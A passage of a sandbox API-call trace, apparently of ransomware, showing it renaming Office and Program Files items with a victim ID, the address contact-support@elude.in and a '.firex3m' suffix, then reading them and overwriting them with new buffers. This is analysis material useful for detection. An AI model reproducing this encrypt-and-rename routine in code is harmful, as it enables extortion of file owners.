ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3095cef9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0x90c7496, dwReserved1=0x6f818a8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0178.905] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0178.905] Sleep (dwMilliseconds=0x1) [0181.993] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr", len=0x4e | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr") returned 1 [0181.993] GetProcessHeap () returned 0x630000 [0181.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a94) returned 0x707d3d0 [0181.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0181.994] CloseHandle (hObject=0x6d8) returned 1 [0181.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0181.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0181.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0181.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41ae0, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="TellMeOutlookMailRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE1D7B~1.FIR")) returned 0x6d5280 [0181.995] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0181.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0181.996] GetProcessHeap () returned 0x630000 [0181.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x734a098 [0181.996] GetProcessHeap () returned 0x630000 [0181.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73554c8 [0181.996] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.996] ReadFile (in: hFile=0x6d8, lpBuffer=0x734a098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a098*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.018] GetProcessHeap () returned 0x630000 [0190.018] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0190.019] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.019] WriteFile (in: hFile=0x6d8, lpBuffer=0x73554c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73554c8*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.019] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.019] WriteFile (in: hFile=0x6d8, lpBuffer=0x73608c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608c7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.022] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.022] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.022] CloseHandle (hObject=0x6d8) returned 1 [0190.022] GetProcessHeap () returned 0x630000 [0190.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73554c8 | out: hHeap=0x630000) returned 1 [0190.023] GetProcessHeap () returned 0x630000 [0190.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x734a098 | out: hHeap=0x630000) returned 1 [0190.023] GetProcessHeap () returned 0x630000 [0190.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0190.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3734dd4e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x41b04, dwReserved0=0x90c7496, dwReserved1=0x734a090, cFileName="TellMeOutlookMailRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE1D7B~1.FIR")) returned 0x6d5340 [0190.023] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0190.023] Sleep (dwMilliseconds=0x1) [0191.985] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX", len=0x50 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX") returned 1 [0191.986] GetProcessHeap () returned 0x630000 [0191.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45b8) returned 0x74656a8 [0191.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0193.624] CloseHandle (hObject=0x414) returned 1 [0193.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xc6ca, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="WRKFLO_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~1.FIR")) returned 0x6d4e40 [0195.840] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0195.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0195.841] GetProcessHeap () returned 0x630000 [0195.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0195.841] GetProcessHeap () returned 0x630000 [0195.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0195.841] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.842] ReadFile (in: hFile=0x414, lpBuffer=0x7219168, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0203.888] GetProcessHeap () returned 0x630000 [0203.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0203.888] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.888] WriteFile (in: hFile=0x414, lpBuffer=0x71803a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0203.889] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.889] WriteFile (in: hFile=0x414, lpBuffer=0x718b7a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7a7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0203.939] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.939] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0203.939] CloseHandle (hObject=0x414) returned 1 [0203.939] GetProcessHeap () returned 0x630000 [0203.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0203.939] GetProcessHeap () returned 0x630000 [0203.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0203.947] GetProcessHeap () returned 0x630000 [0203.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0203.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3f815be7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc6ee, dwReserved0=0x90c7496, dwReserved1=0x7219160, cFileName="WRKFLO_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~1.FIR")) returned 0x6d5380 [0203.948] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0203.948] Sleep (dwMilliseconds=0x1) [0206.088] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM", len=0x6c | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM") returned 1 [0206.088] GetProcessHeap () returned 0x630000 [0206.088] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c6c) returned 0x6fe4288 [0206.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0206.089] CloseHandle (hObject=0x678) returned 1 [0206.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0206.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0206.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x69006b02, dwReserved1=0x74006e, cFileName="BREEZE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BREEZE~2.FIR")) returned 0x6d5280 [0206.091] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0206.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0206.091] GetProcessHeap () returned 0x630000 [0206.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f32b60 [0206.091] GetProcessHeap () returned 0x630000 [0206.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3df90 [0206.091] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.091] ReadFile (in: hFile=0x678, lpBuffer=0x6f32b60, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b60*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0214.049] GetProcessHeap () returned 0x630000 [0214.049] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0214.050] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.050] WriteFile (in: hFile=0x678, lpBuffer=0x6f3df90*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df90*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0214.050] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.050] WriteFile (in: hFile=0x678, lpBuffer=0x6f4938f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4938f*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.050] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.051] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.051] CloseHandle (hObject=0x678) returned 1 [0214.051] GetProcessHeap () returned 0x630000 [0214.051] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3df90 | out: hHeap=0x630000) returned 1 [0214.052] GetProcessHeap () returned 0x630000 [0214.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f32b60 | out: hHeap=0x630000) returned 1 [0214.059] GetProcessHeap () returned 0x630000 [0214.060] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0214.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4587d6df, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1a55b, dwReserved0=0x90c7496, dwReserved1=0x6f32b58, cFileName="BREEZE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BREEZE~2.FIR")) returned 0x6d4ec0 [0214.060] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0214.060] Sleep (dwMilliseconds=0x1) [0215.854] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x623ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml") returned 1 [0215.854] GetProcessHeap () returned 0x630000 [0215.855] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fe0) returned 0x74d7f88 [0215.855] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0215.855] CloseHandle (hObject=0x430) returned 1 [0215.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.855] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5500 [0215.857] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0215.857] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0215.857] GetProcessHeap () returned 0x630000 [0215.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7a60 [0215.857] GetProcessHeap () returned 0x630000 [0215.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0215.857] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.857] ReadFile (in: hFile=0x430, lpBuffer=0x6d7a60, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a60*, lpNumberOfBytesRead=0x623ff0c*=0x240, lpOverlapped=0x0) returned 1 [0215.861] GetProcessHeap () returned 0x630000 [0215.861] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0215.861] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 